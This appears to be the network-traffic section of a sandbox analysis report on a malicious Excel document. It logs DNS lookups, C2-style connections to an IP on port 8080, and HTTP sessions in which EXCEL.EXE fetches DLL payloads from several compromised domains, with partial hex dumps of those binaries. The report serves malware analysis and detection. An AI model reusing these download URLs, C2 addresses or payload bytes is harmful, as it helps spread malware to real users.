May 23, 2022 09:57:05.975467920 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:05.975682974 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:06.058633089 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:06.232053041 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:06.248497009 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:06.248559952 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:06.248745918 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:06.264146090 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:06.437519073 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:06.439948082 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:06.440082073 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:09.364887953 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:09.538222075 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:10.208667040 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:10.208790064 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:13.206214905 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:13.206239939 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:57:13.206336021 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.000063896 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.173234940 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.173352003 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.263492107 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.436650991 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.457349062 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.457376003 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.460335970 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.471106052 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:14.644354105 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.647444963 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:14.647620916 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.250518084 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.423757076 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.423855066 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.547374964 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.560808897 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.720787048 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.734016895 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.737400055 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.737421036 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.737484932 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.737535000 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.744992018 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:15.918170929 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.920768023 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:15.920856953 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:16.402462959 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:16.402781963 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:16.838538885 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:17.011838913 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:17.694988012 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:17.695108891 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:19.406373024 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:19.406409025 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:57:19.406630039 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:57:20.695226908 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:20.695255995 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:57:20.695313931 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:58:37.551120996 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:58:37.551250935 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:37.715776920 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:58:37.715993881 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:58:37.846968889 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:38.455564976 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:39.687916040 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:42.090584040 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:46.895833969 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:58:55.603497028 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:58:55.606291056 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:58:56.506244898 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:59:03.646367073 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:59:03.646891117 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:59:04.963619947 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:59:04.963674068 CEST	49180	8080	192.168.2.22	173.82.82.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:56:37.647711039 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 09:56:37.680419922 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 09:56:41.423423052 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 09:56:41.493875980 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 09:56:44.159074068 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 09:56:44.551866055 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 09:56:49.057354927 CEST	50134	53	192.168.2.22	8.8.8.8
May 23, 2022 09:56:49.076469898 CEST	53	50134	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 09:56:37.647711039 CEST	192.168.2.22	8.8.8.8	0xc59b	Standard query (0)	microlent.com	A (IP address)	IN (0x0001)
May 23, 2022 09:56:41.423423052 CEST	192.168.2.22	8.8.8.8	0x76da	Standard query (0)	kuluckaci.com	A (IP address)	IN (0x0001)
May 23, 2022 09:56:44.159074068 CEST	192.168.2.22	8.8.8.8	0x42b9	Standard query (0)	mcapublicschool.com	A (IP address)	IN (0x0001)
May 23, 2022 09:56:49.057354927 CEST	192.168.2.22	8.8.8.8	0xefca	Standard query (0)	moorworld.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
May 23, 2022 09:56:37.680419922 CEST	8.8.8.8	192.168.2.22	0xc59b	No error (0)	microlent.com	103.195.4.8	A (IP address)	IN (0x0001)
May 23, 2022 09:56:41.493875980 CEST	8.8.8.8	192.168.2.22	0x76da	No error (0)	kuluckaci.com	185.86.13.242	A (IP address)	IN (0x0001)
May 23, 2022 09:56:44.551866055 CEST	8.8.8.8	192.168.2.22	0x42b9	No error (0)	mcapublicschool.com	103.133.214.149	A (IP address)	IN (0x0001)
May 23, 2022 09:56:49.076469898 CEST	8.8.8.8	192.168.2.22	0xefca	No error (0)	moorworld.com	211.149.139.157	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

microlent.com

kuluckaci.com

mcapublicschool.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	103.195.4.8	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	185.86.13.242	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:56:41.558573008 CEST	376	OUT	GET /yarisma/cgi-bin/aIuI4Ukdtl730sP1F/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kuluckaci.com Connection: Keep-Alive
May 23, 2022 09:56:41.635432005 CEST	378	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:20:45 GMT Server: Apache/2 X-Powered-By: PHP/5.6.40 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:20:45 GMT Content-Disposition: attachment; filename="xqJfpnc0wEmcroPdpB.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b35cde4fad=1653290445; expires=Mon, 23-May-2022 07:21:45 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:20:45 GMT Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/x-msdownload Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec fd 09 7c 53 c5 f6 00 8e df a4 09 84 d2 92 00 2d 54 d6 00 41 2a 6b 05 d4 22 14 53 68 35 95 02 45 41 ab a2 96 bd 02 6a 81 04 aa 02 52 d3 2a 35 54 ab a2 e2 f6 e4 29 2a ee b8 61 f1 a1 b6 a2 a4 28 2a e2 86 3b ee 37 06 11 57 ea d6 fc cf 32 73 ef cd 4d 8a fa de f7 f7 ff ff 3f ff cf 9f f7 6c ce 9d 7d ce 9c 39 e7 cc cc 99 33 93 cf ae 57 52 14 45 b1 c1 7f b1 98 a2 34 28 fc cf ab fc f5 3f 15 fe eb d4 f7 99 4e ca 93 1d 5e ed d7 60 29 7e b5 df f4 f2 0b 96 b9 2b 96 5e bc 60 e9 ac 0b dd 73 66 5d 74 d1 c5 7e f7 ec 79 ee a5 81 8b dc 17 5c e4 2e 98 7a ba fb c2 8b e7 ce 1b 9e 9e 9e ea 11 65 dc f2 44 fb dc 8f f6 5e b0 48 fe f7 f8 a6 1d 8b 82 f4 7b 78 d1 bb f0 fb d6 03 bf 2d 7a 9f e2 ca 17 55 53 f8 0b 8b 7e a1 df 1f 16 7d 48 bf 3f 8a df 9f e8 f7 b4 0b e6 94 63 39 e6 b6 96 14 2a ca dc 2b db 29 cb 2f bb 6a b6 0c 3b a4 f4 77 77 b4 a6 42 e7 ad 8a 72 75 0a 85 ad 39 0e fe b8 18 b4 28 02 86 68 3b fe 51 f4 5f e5 90 9d 90 f6 f3 f4 76 10 e2 b5 c8 4c f2 27 f1 9b c1 3d 0f 58 95 6a c4 f7 5d 56 a5 84 42 53 94 3f de 80 32 0f 59 95 dd 4e 43 83 f7 db 95 f5 d6 bf 31 08 e6 7f 6e ab b2 e1 08 f9 86 fb e7 55 fa e1 f7 b7 14 2b 37 08 fb 6e 33 15 a1 28 65 c3 97 ce 9d e5 9f a5 28 d3 43 5c a6 b2 0e 7e 1d f1 05 7b e1 ff c3 39 99 b2 e1 04 f8 b3 05 e2 33 e0 77 7d 42 ba c6 e1 15 9c 90 fa 78 48 d4 bd 39 49 79 4b 97 2d 9d 03 30 e1 04 29 73 2f fc 36 24 4b 37 6f f1 c5 90 f0 87 76 0a e1 4a 71 c0 ef d5 76 73 ba 09 6d 63 e2 ff ff 0f ff f9 6a 67 7a 1c be da c5 1e 97 af d6 ef c9 3a d3 17 3c 90 53 14 da e7 0b fd e0 0b 45 62 99 df 3a ad 4a e1 a8 5d c5 a1 97 f2 eb a6 59 42 cd 90 3a 1b 13 ba 63 99 2f 43 d4 a8 46 5f 70 57 cc 17 6a fd e1 11 5f 68 87 ef f0 1b be d8 2e df 90 26 5f b0 c5 ba ac 7d 83 dd ab ac 89 e6 ec b4 1d eb f6 c5 9a 7c 75 e3 8e 1d f2 5e 2c f3 36 ad c4 50 33 94 69 e5 12 57 62 89 15 5c 62 68 a6 c7 eb 0b 2d f6 f8 7c 21 bf a7 c4 17 7c 31 e7 fc 1d bb e5 3f 6a 2f b6 b2 c4 17 b2 9f 79 a7 55 f1 8d 7a d1 57 5b 80 89 b7 7b d6 60 87 42 2f fb 42 ef c7 4e 73 15 d7 15 7b 72 f3 1b 5c 14 b6 c7 57 57 e0 c9 f1 85 5e c1 b4 ee d8 e9 59 35 8d 7e d1 c0 5e c1 95 9e 1c 57 e0 87 e2 50 b5 67 2d 26 c6 7c be d0 bb ea a7 Data Ascii: 1faa\|S-TAk"Sh5EAjR5T)a(;7W2sM?l}93WRE4(?N^`)~+^`sf]t~y\.zeD^H{x-zUS~}H?c9*+)/j;wwBru9(h;Q_vL'=Xj]VBS?2YNC1nU+7n3(e(C\~{93w}BxH9IyK-0)s/6$K7ovJqvsmcjgz:<SEb:J]YB:c/CF_pWj_h.&_}\|u^,6P3iWb\bh-\|!\|1?j/yUzW[{`B/BNs{r\WW^Y5~^WPg-&\|
May 23, 2022 09:56:41.635478973 CEST	379	IN	Data Raw: ad 31 e8 5a 31 14 3d 6a b7 3a bd 1f 16 33 d3 53 06 ed 29 49 d6 9e 32 68 4f f8 5f 5a 7b 4a b0 3d f5 49 da e3 f8 ab f6 e4 60 7b 1c 81 1f 7c 75 d3 01 0f 98 29 96 79 51 27 ab 02 29 3e c6 36 6e 10 6d f4 62 1b f3 44 1b 4b b0 8d 5b dc dc c6 0a 68 63 99 Data Ascii: 1Z1=j:3S)I2hO_Z{J=I`{\|u)yQ')>6nmbDK[hch#OhTtb<g!GDZ WA]\|Wzq_@!p8~aH+: tVVaI;V=,W\|)!i7}F~gQV\|O[C3kOp],(l
May 23, 2022 09:56:41.635513067 CEST	381	IN	Data Raw: a0 d1 7b 07 00 0e 8a 01 aa 39 f1 e0 b8 70 4d 09 40 53 26 39 bf 0b d7 4c 07 e8 92 4e 1b fa 85 6b 4a 01 ea 9a 39 62 5e b8 66 26 40 2b 16 8d 50 c3 35 65 00 05 ce b3 65 84 6b e6 02 b4 f3 f9 39 9f 87 6b ca 01 2a 5e 68 01 3c 2f 06 e8 eb 0f ca f2 c2 35 Data Ascii: {9pM@S&9LNkJ9b^f&@+P5eek9k*^h</5M>vp5Juof%@SM\|4?.8nk@q ?@)w%(lw?~4cCH>TK@_hInY-?\C:J?.
May 23, 2022 09:56:41.635549068 CEST	382	IN	Data Raw: cb 0f 00 d7 b3 01 34 63 c8 c5 20 cf 1d 00 7d ee ec 02 f2 23 0d a0 4f 4b 16 43 6d 2e 80 96 b7 7b ec 71 a0 3f 80 e6 7d fe ba 17 e8 0f a0 a5 0b 56 c0 2c eb 05 90 a7 70 c0 f3 40 7f 00 dd 5f b2 b7 12 e8 0f a0 7e db ee 01 8e 94 0d d0 c4 11 5f ed 07 fa Data Ascii: 4c }#OKCm.{q?}V,p@_~_:s}_O"g4((tbV>fGkA*K8wL6/_n@O(hj^rrj@}@-[$?PN%@<
May 23, 2022 09:56:41.635567904 CEST	383	IN	Data Raw: 80 f9 d6 88 b1 0f 4c db 0d f4 07 50 ed 64 5c 3b 37 03 f4 ed 9f 36 28 6f 37 40 97 5c f0 26 ac a2 f7 00 34 67 f1 a7 37 03 fd 01 d4 db 3a fc 4d a0 3f 80 32 7d 76 e8 db 87 38 6e 3f 1f 07 2b 91 fd 48 11 19 af dd 05 f4 07 d0 80 1f 33 96 01 fd 01 e4 9c Data Ascii: LPd\;76(o7@\&4g7:M?2}v8n?+H3J<=O!Ou=;u?\|&=B[6^xHN@@5y6uP6(@vv4bkl/x(@g9mslXh]4'~[V
May 23, 2022 09:56:41.635586023 CEST	385	IN	Data Raw: 83 c6 57 5f 07 fa 03 28 b4 e7 1a c0 73 35 40 37 0c f8 10 b8 f2 5a 0c 6b ba 0e 78 e2 3a 2c e5 3c 05 74 a9 7a 80 ee 1b 39 1e 24 fb 7a 8c 9d e7 c7 f5 2f 40 d9 f7 55 c1 da f9 76 84 ac 03 a1 7d 1b 01 3a 08 8b 7b a0 3f ec c7 aa 00 e8 93 9b 01 f2 ff f6 Data Ascii: W_(s5@7Zkx:,<tz9$z/@Uv}:{?`!n@%gz}~909q0kDh@3/ifX4w].0w40+u@}hc?zMxp9@;>@%7t>ra?0+~h0-
May 23, 2022 09:56:41.635602951 CEST	386	IN	Data Raw: 98 08 fe 5f 54 f5 ab d2 0b d6 d2 39 98 be 76 1a 60 6e 9a 0b f2 79 e1 77 1f fc b7 1f f2 c3 8f 0a ff 1d 82 ff 5a 02 fb a2 eb a1 c9 05 d0 5e e7 8e ce f0 1f e4 80 3f 9c 05 80 7d f8 87 32 c1 af 8a 7f 0e e1 9f 96 c0 9e 43 6b d2 3c 4a 64 3a 50 9c 81 5e Data Ascii: _T9v`nywZ^?}2Ck<Jd:P^Z52MW`[G5F:w3D@ h2A]eUg><RW1+3":><A7Ex\Y, M5o=BYRQV%`7
May 23, 2022 09:56:41.635621071 CEST	387	IN	Data Raw: 31 66 61 30 0d 0a ed 47 55 72 b5 20 16 ec 99 02 ae 88 65 2e 54 01 27 f6 c5 90 83 e7 c9 c2 19 40 ce bb 62 99 a7 42 38 60 e0 15 98 02 b1 cc e3 e0 23 98 77 32 9e df 06 52 39 dd 84 19 38 43 32 20 e2 19 ac 0a b4 9b 58 66 eb d7 16 14 b1 d8 58 4d fe 25 Data Ascii: 1fa0GUr e.T'@bB8`#w2R98C2 XfXM%U6S=%T^-aV%ityd4,#DM"RndGZqW\<eI+-.Y]<HEC3jtT\|)._hA-{JI\
May 23, 2022 09:56:41.635639906 CEST	389	IN	Data Raw: 51 bb f2 1b 2e 47 d6 50 97 f9 1d 30 9f 6d 48 4c ea 71 17 83 70 6f b1 04 52 40 c0 86 ed 9f 57 f3 05 af 68 a7 90 fd 83 6a de 37 78 13 7e 43 f6 5b 16 59 91 d1 96 06 f3 6e 5d 84 d4 95 1e b2 5f 0f 00 6a 4e 01 0b 30 af bc cf e1 0b 78 cf b3 c8 e0 f8 6e Data Ascii: Q.GP0mHLqpoR@Whj7x~C[Yn]_jN0xnrlCjaL#Q{Ex&+;?g?\|~2m;3\$C!C.Z6`[LBp^K=\|OBbeK/CE{#F"LHdsHyz_8i+
May 23, 2022 09:56:41.635658979 CEST	390	IN	Data Raw: 63 8d b8 a7 4c db eb cd ea d5 9f 92 7a d2 f7 7c 16 f3 5e 3a 9a f1 a5 40 82 97 35 15 66 3e a4 21 44 06 86 8a 0a d7 09 6e c0 4a 56 a9 90 5b 42 c9 2a 45 09 2a 94 a8 52 2e 14 b4 2d 49 30 81 02 0d 12 aa 1d 2e 77 68 22 3c f7 96 71 22 84 78 22 dc f2 a6 Data Ascii: cLz\|^:@5f>!DnJV[BER.-I0.wh"<q"x"2N=-g{bt4\]U_A:en/Xa9W\uKn[PCwF'.-{em%rR[.-(hxlT(\jT1"]~@Ii{(
May 23, 2022 09:56:41.697994947 CEST	391	IN	Data Raw: 3a fb 1f 82 ff 96 27 6a 3c 0f 4f 63 a9 7e c9 9f 68 d5 e7 ac 79 2e 5e aa cf 31 8b d5 ac da 62 b6 bc 46 7e 4f f4 9a 4c 76 63 55 02 7b 25 af 26 62 ef c0 64 03 ba 4f 89 db 77 6e bb a0 15 bb 13 0b ba 7b 72 dc 30 94 29 5a eb 93 eb 30 cf 97 70 6f 43 7f Data Ascii: :'j<Oc~hy.^1bF~OLvcU{%&bdOwn{r0)Z0poC?$6m=UFogWro{}}\|''un\sd>?25D'%;C">jx.W%-WrRgR^c4hjShgf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	103.133.214.149	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:56:44.727391005 CEST	633	OUT	GET /Achievements/r4psv/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mcapublicschool.com Connection: Keep-Alive
May 23, 2022 09:56:44.910235882 CEST	634	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: application/x-msdownload Expires: Mon, 23 May 2022 07:56:43 GMT Last-Modified: Mon, 23 May 2022 07:56:43 GMT Server: Microsoft-IIS/8.5 Set-Cookie: 628b3e3b9c6d7=1653292603; expires=Mon, 23-May-2022 07:57:43 GMT; path=/ Content-Disposition: attachment; filename="f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL.dll" Content-Transfer-Encoding: binary X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 23 May 2022 07:56:43 GMT Content-Length: 365056 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text `.rdataT @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:56:44.910299063 CEST	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$H
May 23, 2022 09:56:44.910352945 CEST	637	IN	Data Raw: 45 e4 30 6b 6a 2e c7 45 e8 8f 78 69 79 c7 45 ec 3a 09 21 40 c7 45 f0 98 3d 4d 14 c7 45 f4 1c 42 0d 58 c7 45 f8 af 0c 0e 36 c7 45 fc 3b 23 15 74 c7 45 00 b1 07 11 49 c7 45 04 3c 0f 2a 31 c7 45 08 b5 23 5c 56 c7 45 0c 16 22 0e 75 c7 45 10 b1 1b 41 Data Ascii: E0kj.ExiyE:!@E=MEBXE6E;#tEIE<*1E#\VE"uEAwEYPE"wEV!E .aE$"a/E(:S9E,TE0<E4mE8_oE<2E@FED;EH7EL-EPqETT] EX,E\oaE`XBEdEh9';El
May 23, 2022 09:56:44.910408020 CEST	639	IN	Data Raw: 1e 59 0b 65 c7 85 2c 02 00 00 0a b9 17 4e c7 85 30 02 00 00 3a 8f 79 e5 c7 85 34 02 00 00 62 1f 1c 25 c7 85 38 02 00 00 e3 1a d5 06 c7 85 3c 02 00 00 3e 02 4e a8 c7 85 40 02 00 00 6f d8 3b 45 c7 85 44 02 00 00 13 28 37 ab c7 85 48 02 00 00 70 c2 Data Ascii: Ye,N0:y4b%8<>N@o;ED(7Hp PL5P6CT& X2{\ePO`/CdTG0h}WLltuOp:Yt(2Bx<v:\|X-n'qR
May 23, 2022 09:56:45.079282045 CEST	640	IN	Data Raw: 00 00 26 5c 68 52 c7 85 44 04 00 00 8b 5f 6c b5 c7 85 48 04 00 00 62 eb 89 02 c7 85 4c 04 00 00 2b 71 82 19 c7 85 50 04 00 00 d7 3e ce b8 c7 85 54 04 00 00 e1 6a 66 58 c7 85 58 04 00 00 04 8d b6 f3 c7 85 5c 04 00 00 ff f7 43 62 c7 85 60 04 00 00 Data Ascii: &\hRD_lHbL+qP>TjfXX\Cb`42dq?h4%llpsoKt#xi\|>l\|%c$mH*.\tG5qj'EBgx+
May 23, 2022 09:56:45.079307079 CEST	642	IN	Data Raw: 58 06 00 00 35 81 b2 06 c7 85 5c 06 00 00 a3 eb a0 9b c7 85 60 06 00 00 db 54 67 39 c7 85 64 06 00 00 e7 6f 45 e9 c7 85 68 06 00 00 f2 b7 b7 75 c7 85 6c 06 00 00 12 ca 43 65 c7 85 70 06 00 00 64 9c 96 24 c7 85 74 06 00 00 22 b8 61 56 c7 85 78 06 Data Ascii: X5\`Tg9doEhulCepd$t"aVx#d\|?N3]='O5[(;.,:'U@et%</LIOf^e7Eekg$
May 23, 2022 09:56:45.079324007 CEST	643	IN	Data Raw: c7 85 70 08 00 00 e0 b7 b7 78 c7 85 74 08 00 00 f6 dc 23 24 c7 85 78 08 00 00 47 af 12 7a c7 85 7c 08 00 00 a4 a8 51 5b c7 85 80 08 00 00 ce b2 6e 73 c7 85 84 08 00 00 c0 0f b2 8b c7 85 88 08 00 00 6d 1b 4b f8 c7 85 8c 08 00 00 a6 61 81 bf c7 85 Data Ascii: pxt#$xGz\|Q[nsmKa?<J(+y@p3zmm7jue75@ } z$*JZxn
May 23, 2022 09:56:45.079339981 CEST	644	IN	Data Raw: 85 84 0a 00 00 60 41 6e 4d c7 85 88 0a 00 00 4b ba c2 33 c7 85 8c 0a 00 00 ff b1 ce 2a c7 85 90 0a 00 00 e1 1c 6c 3f c7 85 94 0a 00 00 84 78 75 a6 c7 85 98 0a 00 00 4f 93 4b 78 c7 85 9c 0a 00 00 28 d3 1a 37 c7 85 a0 0a 00 00 26 29 a0 c3 c7 85 a4 Data Ascii: `AnMK3*l?xuOKx(7&).Rtp9:\|e:NKf3HuHBE3E3FH$A@A0H$L$H
